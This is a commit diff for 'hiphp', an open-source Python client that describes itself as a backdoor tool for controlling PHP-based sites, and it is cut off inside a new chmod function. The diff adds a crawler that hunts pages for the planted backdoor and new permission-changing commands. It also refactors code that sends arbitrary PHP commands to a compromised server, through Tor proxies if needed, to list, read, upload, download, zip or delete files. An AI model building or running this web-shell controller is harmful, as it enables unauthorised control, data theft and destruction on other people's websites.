Projects STRLCPY hiphp Commits 08d7e767
🤬
  • 0.3.3

    - Remove unused code/packages.
     - Enhance the code for improved stability.
     - Update the commands in the input for the "hiphp-cli".
     - Introduce the "chmod" command in the "hiphp-cli" for changing file/folder permissions.
     - Resolve the issue with the "--down -d" command.
     - Resolve the issues with HTTP/HTTPS protocols during the initial scan.
     - Bug fixes & performance improvements.
    
    Signed-off-by: Boudjada Yasser <[email protected]>
  • Loading...
  • Boudjada Yasser committed with GitHub 1 year ago
    08d7e767
    1 parent 7ae2dc5e
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    CHANGELOG
    1  -## 0.3.2 [27-05-2023][Latest Release]:
     1 +## 0.3.3 [03-06-2023][Latest Release]:
     2 + - Remove unused code/packages.
     3 + - Enhance the code for improved stability.
     4 + - Update the commands in the input for the "hiphp-cli".
     5 + - Introduce the "chmod" command in the "hiphp-cli" for changing file/folder permissions.
     6 + - Resolve the issue with the "--down -d" command.
     7 + - Resolve the issues with HTTP/HTTPS protocols during the initial scan.
     8 + - Bug fixes & performance improvements.
     9 +
     10 +## 0.3.2 [27-05-2023]:
    2 11   - Improved command argument handling for enhanced functionality.
    3 12   - Enhanced Docker run functionality for seamless execution.
    4 13   - Optimized Makefile run process for smoother workflow.
    skipped 227 lines
  • ■ ■ ■ ■ ■
    README.md
    skipped 39 lines
    40 40  [![OpenSSF Best Practices](https://bestpractices.coreinfrastructure.org/projects/6754/badge)](https://bestpractices.coreinfrastructure.org/projects/6754)
    41 41  [![wakatime](https://wakatime.com/badge/github/yasserbdj96/hiphp.svg)](https://wakatime.com/badge/github/yasserbdj96/hiphp)
    42 42  [![Join the chat at https://gitter.im/yasserbdj96/hiphp](https://badges.gitter.im/yasserbdj96/hiphp.svg)](https://gitter.im/yasserbdj96/hiphp?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
     43 + 
    43 44  [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fyasserbdj96%2Fhiphp&count_bg=%2379C83D&title_bg=%23555555&icon=&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com)
     45 + 
    44 46   
    45 47   
    46 48  <br>
    skipped 200 lines
    247 249  # Go to downloaded folder:
    248 250  ❯ cd hiphp
    249 251  # install
    250  -❯ pip install -r requirements.txt
    251  -❯ sudo python setup.py install
     252 +#❯ pip install -r requirements.txt
     253 +❯ pip install .
    252 254   
    253 255  # Uninstall:
    254 256  ❯ pip uninstall hiphp
    skipped 176 lines
    431 433   --rm -f [FILE_PATH] # Delete a file.
    432 434   --rm -d [DIR_PATH] # Delete a folder.
    433 435   
     436 + --mv, mv # Move files and folders.
     437 + Usage: --mv [SOURCE] [DESTINATION]
     438 + 
     439 + --chmod, chmod # change file/folder permissions
     440 + Usage: --chmod [PERMISSIONS] [FILE/DIR_PATH]
     441 + 
    434 442  About:
     443 + 
    435 444   --update, update # Check for updates.
    436 445   --license, license # View the project license.
    437 446   --about, about # About this project.
    skipped 259 lines
    697 706   <a href="https://github.com/sponsors/yasserbdj96">sponsor</a>
    698 707   </samp>
    699 708  </p>
    700  - 
  • ■ ■ ■ ■ ■ ■
    README_PYPI.md
    skipped 135 lines
    136 136  # Go to downloaded folder:
    137 137  ❯ cd hiphp
    138 138  # install
    139  -❯ pip install -r requirements.txt
    140  -❯ sudo python setup.py install
     139 +#❯ pip install -r requirements.txt
     140 +❯ pip install .
    141 141   
    142 142  # Uninstall:
    143 143  ❯ pip uninstall hiphp
    skipped 149 lines
  • ■ ■ ■ ■ ■ ■
    hiphp/__init__.py
    skipped 23 lines
    24 24  from hiphp.hiphplogo import *
    25 25  from hiphp.hiphpeditor import editor
    26 26  from hiphp.hiphplinkextractor import *
     27 +from hiphp.hiphpfunc import *
    27 28  #from ashar import *
    28 29  from hexor import *
    29 30  #from asciitext import *
    skipped 1 lines
    31 32  import re
    32 33  import ast
    33 34  from os.path import exists
    34  -from biglibrary import *
     35 +#from biglibrary import *
    35 36  import base64
    36 37  
    37 38  #
    skipped 15 lines
    53 54   def __init__(self,key,url,retu=False,proxies=""):
    54 55   #
    55 56   self.key=tomd5(str(key))# Encrypt the 'key' with 'md5'.
    56  - self.url=str(url)
     57 +
     58 +
     59 + if url.startswith("http://") or url.startswith("https://"):
     60 + self.url = str(url)
     61 + else:
     62 + self.url = "http://" + str(url)
     63 + #self.url=str(url)
    57 64   self.retu=retu
    58 65  
    59 66   #
    skipped 24 lines
    84 91  
    85 92   self.proxies=proxies
    86 93  
     94 + def crawl(self,url):
     95 + links = get_all_website_links(url)
     96 +
     97 + for link in links:
     98 + hiphp.check_hiphp_in(self,link)
     99 +
     100 + def check_hiphp_in(self,url):
     101 + pp11 = hiphp.do(self, self.key, url, self.headers, True, f"echo '{self.key}';")
     102 +
     103 + if pp11 != self.key:
     104 + self.color2.c(errx + " " + url, self.c_red)
     105 + else:
     106 + self.color2.c(msgs + " " + url, self.c_green)
     107 + self.url = url
     108 + url_w=re.compile(r"https?://(www\.)?")
     109 + self.url_w=url_w.sub('',str(url)).strip().strip('/')
     110 + hiphp.cli(self)
     111 + exit()
     112 +
    87 113   #cli:
    88 114   def cli(self):
    89 115   self.DS=hiphp.do(self,self.key,self.url,self.headers,True,DIRECTORY_SEPARATOR())
    skipped 19 lines
    109 135   scanner=input(f"Scan '{self.url}' to find HIPHP_HOLE_CODE (Y/N):")
    110 136  
    111 137   if scanner.lower()=="y":
     138 + hiphp.crawl(self,self.url)
     139 +
     140 + exit()
     141 + """
    112 142   def crawl(url):
    113 143   #all_links=[]
    114 144   #print(f"[*] Crawling: {url}")
    skipped 21 lines
    136 166   exit()
    137 167   crawl(self.url)
    138 168   exit()
     169 + """
    139 170   """
    140 171   import requests
    141 172   from bs4 import BeautifulSoup
    skipped 41 lines
    183 214   # exit()
    184 215   if command and command!="":
    185 216   #help
    186  - if command[0:6].lower()=="--help" or command[0:4].lower()=="help":
    187  - help_c=command.split(" ")
     217 + if command.lower().startswith("--help") or command.lower().startswith("help"):
     218 + #if command[0:6].lower()=="--help" or command[0:4].lower()=="help":
    188 219   try:
    189  - help(__version__,help_c[1])
     220 + help(__version__,command.split(" ")[1])
    190 221   except:
    191 222   print(help(__version__))
    192 223   #version
    193  - elif command[0:9].lower()=="--version" or command[0:7].lower()=="version":
     224 + elif command.lower().startswith("--version") or command.lower().startswith("version"):
     225 + #elif command[0:9].lower()=="--version" or command[0:7].lower()=="version":
    194 226   print(__version__)
    195 227   #exit
    196  - elif command[0:6].lower()=="--exit" or command[0:4].lower()=="exit":
     228 + elif command.lower().startswith("--exit") or command.lower().startswith("exit"):
     229 + #elif command[0:6].lower()=="--exit" or command[0:4].lower()=="exit":
    197 230   exit()
    198 231   #license
    199  - elif command[0:9].lower()=="--license" or command[0:7].lower()=="license":
     232 + elif command.lower().startswith("--license") or command.lower().startswith("license"):
     233 + #elif command[0:9].lower()=="--license" or command[0:7].lower()=="license":
    200 234   print(license())
    201 235   #about
    202  - elif command[0:7].lower()=="--about" or command[0:5].lower()=="about":
     236 + elif command.lower().startswith("--about") or command.lower().startswith("about"):
     237 + #elif command[0:7].lower()=="--about" or command[0:5].lower()=="about":
    203 238   print(about())
     239 + #chmod
     240 + elif command.lower().startswith("--chmod") or command.lower().startswith("chmod"):
     241 + #elif command[0:7].lower()=="--about" or command[0:5].lower()=="about":
     242 + ppth=command.split(" ")[1:]
     243 + code=chmod(ppth[0],ppth[1])
     244 + #print(code)
     245 + print(hiphp.do(self,self.key,self.url,self.headers,True,code))
     246 + #print(ppth)
    204 247   #cp
    205  - elif command[0:4].lower()=="--mv" or command[0:2].lower()=="mv":
    206  - ppth=command.split(" ")
     248 + elif command.lower().startswith("--mv") or command.lower().startswith("mv"):
     249 + #elif command[0:4].lower()=="--mv" or command[0:2].lower()=="mv":
     250 + ppth=command.split(" ")[1:]
    207 251   try:
    208  - command=simulate_mv(ppth[1],ppth[2])
     252 + command=simulate_mv(ppth[0],ppth[1])
    209 253   print(hiphp.do(self,self.key,self.url,self.headers,True,command))
    210 254   except:
    211 255   help(__version__,"--mv")
    212 256   #download
    213  - elif command[0:6].lower()=="--down" or command[0:4].lower()=="down" or command[0:8].lower()=="download":
    214  - down=command.split(" ")
     257 + elif command.lower().startswith("--down") or command.lower().startswith("down") or command.lower().startswith("download"):
     258 + down=command.split(" ")[1:]
    215 259   try:
    216  - if down[1].lower()=="-f":
     260 + if down[0].lower()=="-f":
    217 261   """command=file_get_contents(down[2])
    218 262   content=hiphp.do(self,self.key,self.url,self.headers,True,command)
    219 263   try:
    skipped 5 lines
    225 269   f.write(content)
    226 270   f.close()"""
    227 271   try:
    228  - out_path=down[3]
     272 + out_path=down[2]
    229 273   except:
    230 274   out_path=""
    231  - print(smsg_1+hiphp.download(self,down[2],out_path))
    232  - elif down[1].lower()=="-d":
     275 + print(smsg_1+hiphp.download(self,down[1],out_path))
     276 + elif down[0].lower()=="-d":
    233 277   try:
    234  - zip_file_name=hiphp.compress(self,down[2])
     278 + zip_file_name=hiphp.compress(self,down[1])
    235 279   except:
    236 280   zip_file_name=hiphp.compress(self)
    237 281   #zip_file_name=hiphp.do(self,self.key,self.url,self.headers,True,command)
    238 282  
    239 283   try:
    240  - out_path=down[3]
     284 + out_path=down[2]
    241 285   except:
    242 286   out_path=""
    243 287   print(smsg_1+hiphp.download(self,zip_file_name,out_path))
    244  - elif down[1].lower()=="-all":
     288 + elif down[0].lower()=="-all":
    245 289   try:
    246  - out_path=down[2]
     290 + out_path=down[1]
    247 291   except:
    248 292   out_path=""
    249 293   zip_file_name=hiphp.compress(self)
    250 294   print(smsg_1+hiphp.download(self,zip_file_name,out_path))
     295 + else:
     296 + help(__version__,"--down")
    251 297  
    252 298   except:
    253 299   help(__version__,"--down")
    254 300   #zip
    255  - elif command[0:5].lower()=="--zip" or command[0:3].lower()=="zip":
     301 + elif command.lower().startswith("--zip") or command.lower().startswith("zip"):
    256 302  
    257 303   try:
    258 304   ziping=command.split(" ")[1]
    skipped 5 lines
    264 310   except:
    265 311   help(__version__,"--zip")
    266 312   #update
    267  - elif command[0:8].lower()=="--update" or command[0:6].lower()=="update":
     313 + elif command.lower().startswith("--update") or command.lower().startswith("update"):
    268 314   r="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/version.txt"
    269 315   version = requests.get(r).text
    270 316   version=version.replace('\n', ' ').replace('\r', '').replace(' ', '')
    skipped 14 lines
    285 331   else:
    286 332   print(msg_4)
    287 333   #ls
    288  - elif command[0:4].lower()=="--ls" or command[0:2].lower()=="ls":
     334 + elif command.lower().startswith("--ls") or command.lower().startswith("ls"):
     335 + if len(command) == 4 or len(command) == 2:
     336 + command = scandir()
     337 + elif command.lower().startswith("--ls -all"):
     338 + dirx = command[10:] if len(command) > 10 else "." + self.DS
     339 + command = scandir_all(dirx)
     340 + elif command.lower().startswith("ls -all"):
     341 + dirx = command[8:] if len(command) > 8 else "." + self.DS
     342 + command = scandir_all(dirx)
     343 + else:
     344 + dirx = command[5:] if len(command) == 4 else command[3:]
     345 + if dirx[-1] != self.DS:
     346 + dirx += self.DS
     347 + command = scandir(dirx)
     348 +
     349 + sd = hiphp.do(self, self.key, self.url, self.headers, True, command)
     350 + x = ast.literal_eval(sd)
     351 +
     352 + for i in range(len(x)):
     353 + if x[i] not in (".", ".."):
     354 + x[i] = x[i].replace("\/", "/")
     355 +
     356 + separators = " | " if len(x) > 1 else ""
     357 + if len(x) > 0:
     358 + print(lslist(x, separator=separators))
     359 + #print(lslist(x, separator=separators))
     360 + """elif command[0:4].lower()=="--ls" or command[0:2].lower()=="ls":
    289 361   if len(command)==4 or len(command)==2:
    290 362   command=scandir()
    291 363   elif command[0:4].lower()=="--ls" and command[5:9].lower()=="-all":
    skipped 25 lines
    317 389   separators=" | "
    318 390   else:
    319 391   separators=""
    320  - biglibrary().lslist(x,separator=separators)
     392 + print(lslist(x,separator=separators))"""
    321 393   #set
    322  - elif command[0:4].lower()=="--cd" or command[0:2].lower()=="cd":
    323  - self.cd=""
    324  - if command[0:4].lower()=="--cd":
    325  - self.cd=f"chdir('{reee}{self.DS}{command[5:]}');"
     394 + elif command.lower().startswith("--cd") or command.lower().startswith("cd"):
     395 + self.cd = ""
     396 + if command.lower().startswith("--cd"):
     397 + self.cd = f"chdir('{reee}{self.DS}{command[5:]}');"
    326 398   else:
    327  - self.cd=f"chdir('{reee}{self.DS}{command[3:]}');"
     399 + self.cd = f"chdir('{reee}{self.DS}{command[3:]}');"
    328 400   #set
    329  - elif command[0:5].lower()=="--set" or command[0:3].lower()=="set":
    330  - if command[0:5].lower()=="--set":
    331  - self.set+=command[6:]
     401 + elif command.lower().startswith("--set") or command.lower().startswith("set"):
     402 + if command.lower().startswith("--set"):
     403 + self.set += command[6:]
    332 404   else:
    333  - self.set+=command[4:]
     405 + self.set += command[4:]
    334 406   #delete set
    335  - elif command[0:6].lower()=="--dset" or command[0:4].lower()=="dset":
     407 + elif command.lower().startswith("--dset") or command.lower().startswith("dset"):
     408 + #elif command[0:6].lower()=="--dset" or command[0:4].lower()=="dset":
    336 409   self.set=""
    337 410   #clear
    338  - elif command[0:5].lower()=="--cls" or command[0:3].lower()=="cls":
     411 + elif command.lower().startswith("--cls") or command.lower().startswith("cls"):
     412 + #elif command[0:5].lower()=="--cls" or command[0:3].lower()=="cls":
    339 413   os.system('cls' if os.name == 'nt' else 'clear')
    340 414   #Get the hole Code
    341  - elif command[0:6].lower()=="--geth" or command[0:15].upper()=="HIPHP_HOLE_CODE" or command[0:4].lower()=="geth":
     415 + elif command.lower().startswith("--geth") or command.lower().startswith("geth") or command.lower().startswith("HIPHP_HOLE_CODE"):
     416 + #elif command[0:6].lower()=="--geth" or command[0:15].upper()=="HIPHP_HOLE_CODE" or command[0:4].lower()=="geth":
    342 417   hiphp.get_hole(self,get=True)
    343 418   #cat
    344  - elif command[0:5].lower()=="--cat" or command[0:3].lower()=="cat":
    345  - if command[0:5].lower()=="--cat":
    346  - dirx=command[6:]
     419 + elif command.lower().startswith("--cat") or command.lower().startswith("cat"):
     420 + if command.lower().startswith("--cat"):
     421 + dirx = command[6:]
    347 422   else:
    348  - dirx=command[4:]
    349  - command=file_get_contents(dirx)
    350  - hiphp.do(self,self.key,self.url,self.headers,False,command)
    351  - #cat
    352  - elif command[0:5].lower()=="--edt" or command[0:3].lower()=="edt" or command[0:4].lower()=="edit":
    353  - dirx=command.split(" ")[1]
    354  - #if command[0:5].lower()=="--edt":
    355  - # dirx=command[6:]
    356  - #else:
    357  - # dirx=command[4:]
     423 + dirx = command[4:]
     424 +
     425 + command = file_get_contents(dirx)
     426 + hiphp.do(self, self.key, self.url, self.headers, False, command)
     427 +
     428 + #edt
     429 + elif command.lower().startswith("--edt") or command.lower().startswith("edt") or command.lower().startswith("edit"):
     430 + dirx = command.split(" ")[1]
    358 431  
    359 432   try:
    360  - from_path=os.path.dirname(dirx)
     433 + from_path = os.path.dirname(dirx)
    361 434   except:
    362  - from_path="."
    363  - #print(from_path)
    364  - out_path=hiphp.download(self,dirx,"")
     435 + from_path = "."
     436 +
     437 + out_path = hiphp.download(self, dirx, "")
    365 438   editor(out_path)
    366  - hiphp.run(self,f"unlink('{dirx}');")
    367  - if from_path=="":
    368  - hiphp.upload(self,out_path)
     439 +
     440 + hiphp.run(self, f"unlink('{dirx}');")
     441 +
     442 + if from_path == "":
     443 + hiphp.upload(self, out_path)
    369 444   else:
    370  - hiphp.upload(self,out_path,from_path+self.DS)
     445 + hiphp.upload(self, out_path, from_path + self.DS)
     446 +
    371 447   os.remove(out_path)
     448 +
    372 449   #os.system('cls' if os.name == 'nt' else 'clear')
    373 450   #print(out_path)
    374 451  
    375 452   #remove:
    376  - elif command[0:4].lower()=="--rm" or command[0:2].lower()=="rm" or command[0:6].lower()=="delete":
    377  - dirx=command.split(" ")
    378  - try:
    379  - command=rm(dirx[1],dirx[2])
    380  - hiphp.do(self,self.key,self.url,self.headers,False,command)
    381  - except:
    382  - help(__version__,"--rm")
    383  - #php_info:
    384  - elif command[0:9].lower()=="--phpinfo" or command[0:7].lower()=="phpinfo":
    385  - command=php_info()
    386  - hiphp.do(self,self.key,self.url,self.headers,False,command)
    387  - #rf
    388  - elif command[0:4].lower()=="--rf" or command[0:2].lower()=="rf" or command[0:3].lower()=="run":
    389  - varss=command.split(" ")
    390  - if varss[len(varss)-1]=="":
    391  - del varss[len(varss)-1]
    392  - print(hiphp.run_file(self,varss[1],varss[2:]))
    393  - #up
    394  - elif command[0:4].lower()=="--up" or command[0:2].lower()=="up" or command[0:6].lower()=="upload":
    395  - v=command.split(" ")
    396  - #print(v)
    397  - if len(v)>2:
    398  - #try:
    399  - file_path=v[1]
    400  - to=v[2]
    401  - if to[len(to)-1:len(to)]!=self.DS:
    402  - to=to+self.DS
    403  - hiphp.upload(self,file_path,to)
    404  - #except:
     453 + elif command.lower().startswith("--rm") or command.lower().startswith("rm") or command.lower().startswith("delete"):
     454 + dirx = command.split(" ")
     455 +
     456 + if len(dirx) < 3:
     457 + help(__version__, "--rm")
     458 + else:
     459 + try:
     460 + command = rm(dirx[1], dirx[2])
     461 + hiphp.do(self, self.key, self.url, self.headers, False, command)
     462 + except:
     463 + help(__version__, "--rm")
     464 +
     465 + # php_info
     466 + elif command.lower().startswith("--phpinfo") or command.lower().startswith("phpinfo"):
     467 + command = php_info()
     468 + hiphp.do(self, self.key, self.url, self.headers, False, command)
     469 +
     470 + # rf
     471 + elif command.lower().startswith("--rf") or command.lower().startswith("rf") or command.lower().startswith("run"):
     472 + varss = command.split(" ")
     473 + if varss[-1] == "":
     474 + del varss[-1]
     475 + print(hiphp.run_file(self, varss[1], varss[2:]))
     476 +
     477 + # up
     478 + elif command.lower().startswith("--up") or command.lower().startswith("up") or command.lower().startswith("upload"):
     479 + v = command.split(" ")
     480 + if len(v) > 2:
     481 + file_path = v[1]
     482 + to = v[2]
     483 + if to[-1:] != self.DS:
     484 + to += self.DS
     485 + hiphp.upload(self, file_path, to)
    405 486   else:
    406  - hiphp.upload(self,command.split(" ")[1])
     487 + hiphp.upload(self, v[1])
    407 488   else:
    408  - comand_return=hiphp.do(self,self.key,self.url,self.headers,True,command)
    409  - if comand_return!="":
    410  - print(comand_return)
     489 + comand_return = hiphp.do(self, self.key, self.url, self.headers, True, command)
     490 + if comand_return != "":
     491 + if re.search(re.escape(emsg_3), comand_return):
     492 + self.color2.c(emsg_2,self.c_red)
     493 + else:
     494 + print(comand_return)
    411 495   else:
    412  - self.color2.c(errx+" "+command+emsg_6,self.c_red)
     496 + self.color2.c(errx + " " + command + emsg_6, self.c_red)
     497 +
    413 498   else:
    414 499   self.color2.c(emsg_2,self.c_red)
    415 500  
    skipped 3 lines
    419 504   #exit()
    420 505  
    421 506   #do:
    422  - def do(self,key,url,header,retu,command):
     507 + def do(self, key, url, header, retu, command):
    423 508   regex = re.compile(r"^https?\:\/\/[\w\-\.]+\.onion")
    424  - proxies_onion = {'http': 'socks5h://127.0.0.1:9150','https': 'socks5h://127.0.0.1:9150'}
     509 + proxies_onion = {'http': 'socks5h://127.0.0.1:9150', 'https': 'socks5h://127.0.0.1:9150'}
     510 +
    425 511   try:
    426 512   if regex.match(url):
    427  - #.onion
    428  - response=requests.post(url,headers=header,proxies=proxies_onion)
     513 + # .onion
     514 + proxies = proxies_onion
    429 515   else:
    430  - if self.proxies!="":
    431  - response=requests.post(url,headers=header,proxies=self.proxies)
    432  - else:
    433  - response=requests.post(url,headers=header)
    434  - #response=requests.post(url,headers=header)
    435  - #
    436  - if response.status_code==200:
    437  - key_len=len(key)+1
    438  - # if the key are true:
    439  - if response.text[0:key_len]=="#"+key:
    440  - ploads={'command':self.cd+self.set+command}
    441  - if ".onion" in url:
    442  - response=requests.post(url,headers=header,data=ploads,proxies=proxies_onion)
    443  - else:
    444  - if self.proxies!="":
    445  - response=requests.post(url,headers=header,data=ploads,proxies=self.proxies)
    446  - else:
    447  - response=requests.post(url,headers=header,data=ploads)
    448  - response_text=response.text[key_len:]
    449  - if retu==True:
     516 + proxies = self.proxies if self.proxies != "" else None
     517 +
     518 + response = requests.post(url, headers=header, proxies=proxies, data=self._build_payload(command))
     519 +
     520 + if response.status_code == 200:
     521 + response_text = response.text
     522 + if response_text.startswith("#" + key):
     523 + response_text = response_text[len(key) + 1:]
     524 + if retu:
    450 525   return response_text
    451 526   else:
    452  - if len(response_text)!=0:
     527 + if response_text:
    453 528   print(response_text)
    454 529   else:
    455  - if retu==True:
     530 + if retu:
    456 531   return emsg_1
    457 532   else:
    458  - hexor().c(emsg_1,self.c_red)
     533 + hexor().c(emsg_1, self.c_red)
    459 534   exit()
    460  - except:
    461  - emsg=emsg_3+" '"+url+"'."
    462  - if retu==True:
     535 + else:
     536 + raise Exception("Request failed with status code: " + str(response.status_code))
     537 + except Exception as e:
     538 + emsg = emsg_3 + " '" + url + "'."
     539 + if retu:
    463 540   return emsg
    464 541   else:
    465  - hexor().c(emsg,self.c_red)
     542 + hexor().c(emsg, self.c_red)
    466 543   exit()
     544 +
     545 + def _build_payload(self, command):
     546 + ploads = {'command': self.cd + self.set + command}
     547 + return ploads
    467 548  
    468 549   #run_file:
    469 550   def run_file(self,file_path,*opts):
    skipped 70 lines
    540 621   outpath=download_folder
    541 622   else:
    542 623   outpath=os.path.abspath(os.getcwd())
    543  -
    544 624  
    545 625   new_command=file_to_b64(path_x)
    546 626   path_x=os.path.basename(path_x)
    skipped 34 lines
  • ■ ■ ■ ■ ■ ■
    hiphp/hiphpeditor.py
    skipped 68 lines
    69 69   for l in b: cont += ''.join([chr(c) for c in l]) + '\n'
    70 70   with open(src, 'w') as f:
    71 71   f.write(cont)
     72 + #print(f"The '{src}', was edited successfully.")
    72 73   xxvo=False
     74 +
    73 75   curses.endwin()
    74 76  #editor("vvvv.py")
    75 77  #curses.wrapper(main)
    skipped 1 lines
  • ■ ■ ■ ■ ■ ■
    hiphp/hiphpfunc.py
     1 +#!/usr/bin/env python
     2 +# coding:utf-8
     3 +# | |
     4 +# --+----------------------------------------------------------+--
     5 +# | Code by : yasserbdj96 |
     6 +# | Email : [email protected] |
     7 +# | Github : https://github.com/yasserbdj96 |
     8 +# | BTC : bc1q2dks8w8uurca5xmfwv4jwl7upehyjjakr3xga9 |
     9 +# --+----------------------------------------------------------+--
     10 +# | all posts #yasserbdj96 ,all views my own. |
     11 +# --+----------------------------------------------------------+--
     12 +# | |
     13 + 
     14 +#START{
     15 +import os
     16 +import shutil
     17 + 
     18 +def center(text):
     19 + try:
     20 + ts = shutil.get_terminal_size(fallback=(120, 50))
     21 + except:
     22 + ts = shutil.get_terminal_size(0)
     23 +
     24 + w = ts.columns
     25 + text_to_center = len(text)
     26 + padding = (w - text_to_center) // 2
     27 +
     28 + centered_text = " " * padding + text
     29 +
     30 + return centered_text
     31 +
     32 +def lslist(lslist, separator='|'):
     33 + lslist_final = ""
     34 + try:
     35 + import shutil
     36 + ts = shutil.get_terminal_size(fallback=(120, 50))
     37 + except:
     38 + ts = os.get_terminal_size(0)
     39 + ss = len(max(lslist, key=len))
     40 + n = int(ts.columns / (ss + len(separator)))
     41 +
     42 + if n == 0:
     43 + n = 1 # Set a minimum value of 1 to avoid zero division
     44 +
     45 + for idx, key in enumerate(lslist):
     46 + if (idx + 1) % n:
     47 + lslist_final += key + (ss - len(key)) * " " + f'{separator}'
     48 + else:
     49 + lslist_final += key + '\n'
     50 +
     51 + return lslist_final
     52 + 
     53 +#}END.
  • ■ ■ ■ ■ ■
    hiphp/hiphphelp.py
    skipped 126 lines
    127 127   Usage: --mv [SOURCE] [DESTINATION]
    128 128  """
    129 129   
     130 +#
     131 + chmod_c="""
     132 + --chmod, chmod # change file/folder permissions
     133 + Usage: --chmod [PERMISSIONS] [FILE/DIR_PATH]
     134 +"""
     135 + 
    130 136   #
    131 137   ABOUT="""
    132 138  About:
    skipped 4 lines
    137 143   --version, version # Get the current version number."""
    138 144   
    139 145   if opt=="":
    140  - return header+OPTIONS+ACTIONS+ls_c+spsbar+cat_c+spsbar+set_c+spsbar+cd_c+spsbar+rf_c+spsbar+up_c+spsbar+down_c+spsbar+zip_c+spsbar+edt_c+spsbar+rm_c+spsbar+mv_c+spsbar+ABOUT
     146 + return header+OPTIONS+ACTIONS+ls_c+spsbar+cat_c+spsbar+set_c+spsbar+cd_c+spsbar+rf_c+spsbar+up_c+spsbar+down_c+spsbar+zip_c+spsbar+edt_c+spsbar+rm_c+spsbar+mv_c+spsbar+chmod_c+spsbar+ABOUT
    141 147   else:
    142 148   opt=opt.replace("--","")
    143 149   opt=opt+"_c"
    skipped 3 lines
  • ■ ■ ■ ■ ■ ■
    hiphp/hiphplogo.py
    skipped 14 lines
    15 15   
    16 16  #START{
    17 17  from hexor import *
    18  -from biglibrary import *
     18 +#from biglibrary import *
     19 +from hiphp.hiphpfunc import *
    19 20   
    20 21  # logo:
    21 22  def logo(__version__):
    skipped 5 lines
    27 28   c_white="#f7f7f7"
    28 29   
    29 30   color=hexor(True,"hex")
    30  - bl=biglibrary(returning=True)
     31 + #bl=biglibrary(returning=True)
    31 32   logox="\n"
    32  - logox+=color.c(bl.center(" ▄███████▄ ▄█ █▄ ▄███████▄"),c_red)
     33 + logox+=color.c(center(" ▄███████▄ ▄█ █▄ ▄███████▄"),c_red)
    33 34   logox+="\n"
    34  - logox+=color.c(bl.center(" ███ ███ ███ ███ ███ ███"),c_red)
     35 + logox+=color.c(center(" ███ ███ ███ ███ ███ ███"),c_red)
    35 36   logox+="\n"
    36  - logox+=color.c(bl.center("╦ ╦ ███ ███ ███ ███ ███ ███"),c_red)
     37 + logox+=color.c(center("╦ ╦ ███ ███ ███ ███ ███ ███"),c_red)
    37 38   logox+="\n"
    38  - logox+=color.c(bl.center("║ ║ ═╦═ ▀█████████▀ ▀▀███▀▀▀▀███▀ ▀█████████▀ "),c_red)
     39 + logox+=color.c(center("║ ║ ═╦═ ▀█████████▀ ▀▀███▀▀▀▀███▀ ▀█████████▀ "),c_red)
    39 40   logox+="\n"
    40  - logox+=color.c(bl.center("╠═══╣ ║ ███ ███ ███ ███ "),c_red)
     41 + logox+=color.c(center("╠═══╣ ║ ███ ███ ███ ███ "),c_red)
    41 42   logox+="\n"
    42  - logox+=color.c(bl.center("║ ║ ║ ███ ███ ███ ███ "),c_red)
     43 + logox+=color.c(center("║ ║ ║ ███ ███ ███ ███ "),c_red)
    43 44   logox+="\n"
    44  - logox+=color.c(bl.center("╩ ╩ ═╩═ ▄████▀ ███ █▀ ▄████▀ "),c_red)
     45 + logox+=color.c(center("╩ ╩ ═╩═ ▄████▀ ███ █▀ ▄████▀ "),c_red)
    45 46   logox+="\n"
    46  - logox+=color.c(bl.center("+-----------------------------------------------------------------------------------+"),c_red)
     47 + logox+=color.c(center("+-----------------------------------------------------------------------------------+"),c_red)
    47 48   logox+="\n"
    48  - logox+=color.c(bl.center(f"HIPHP - Free & Open Source Project"),c_yellow)
     49 + logox+=color.c(center(f"HIPHP - Free & Open Source Project"),c_yellow)
    49 50   logox+="\n"
    50  - logox+=color.c(bl.center(f"A Backdoor Tool for Controlling PHP-based Sites"),c_yellow)
     51 + logox+=color.c(center(f"A Backdoor Tool for Controlling PHP-based Sites"),c_yellow)
    51 52   logox+="\n"
    52  - logox+=color.c(bl.center(f"Version: {__version__} by yasserbdj96"),c_green)
     53 + logox+=color.c(center(f"Version: {__version__} by yasserbdj96"),c_green)
    53 54   logox+="\n"
    54  - logox+=color.c(bl.center(f"Visit: https://yasserbdj96.github.io/hiphp/"),c_blue)
     55 + logox+=color.c(center(f"Visit: https://yasserbdj96.github.io/hiphp/"),c_blue)
    55 56   logox+="\n"
    56  - logox+=color.c(bl.center("+-----------------------------------------------------------------------------------+"),c_red)
     57 + logox+=color.c(center("+-----------------------------------------------------------------------------------+"),c_red)
    57 58   logox+="\n"
    58 59   logox+=color.c("\n [!] '--help' for more informations.\n",c_yellow)
    59 60   logox+=color.c(" [!] '--exit' OR 'Ctrl+C' for exit.\n",c_yellow)
    skipped 13 lines
  • ■ ■ ■ ■ ■ ■
    hiphp/hiphpphpfunctions.py
    skipped 179 lines
    180 180   
    181 181   return php_code
    182 182   
     183 + 
     184 + 
    183 185  #
    184 186  def zip_path(path="./"):
    185 187   php_zip_code="""// Get real path for our folder
    skipped 48 lines
    234 236   return code
    235 237   
    236 238  #
    237  -def rm(t,path):
    238  - code1="""
    239  -$filename = '"""+path+"""';
     239 +def rm(t, path):
     240 + if t == "-f":
     241 + code = """
     242 +$filename = '""" + path + """';
    240 243  if (unlink($filename)){
    241  - echo 'The file "'.$filename.'" was deleted successfully!';
     244 + echo 'The file "'.$filename.'" was deleted successfully!';
    242 245  } else {
    243  - echo 'There was a error deleting the file "'.$filename.'"';
     246 + echo 'There was an error deleting the file "'.$filename.'"';
    244 247  }"""
    245  - code2="""
     248 + elif t == "-d":
     249 + code = """
    246 250  function deleteDirectory($dir) {
    247 251   if (!file_exists($dir)) {
    248 252   return true;
    skipped 12 lines
    261 265   if (rmdir($dir)){
    262 266   echo 'The Directory "'.$dir.'" was deleted successfully!';
    263 267   }else{
    264  - echo 'There was a error deleting the Directory "'.$dir.'"';
     268 + echo 'There was an error deleting the Directory "'.$dir.'"';
    265 269   }
    266 270  }
    267  -deleteDirectory('"""+path+"""');
     271 +deleteDirectory('""" + path + """');
    268 272  """
    269  - if t=="-f":
    270  - return code1
    271  - elif t=="-d":
    272  - return code2
     273 + else:
     274 + raise ValueError("Invalid type option for rm function")
     275 + 
     276 + return code
    273 277   
     278 +#
     279 +def chmod(permissions,path):
     280 + code="""
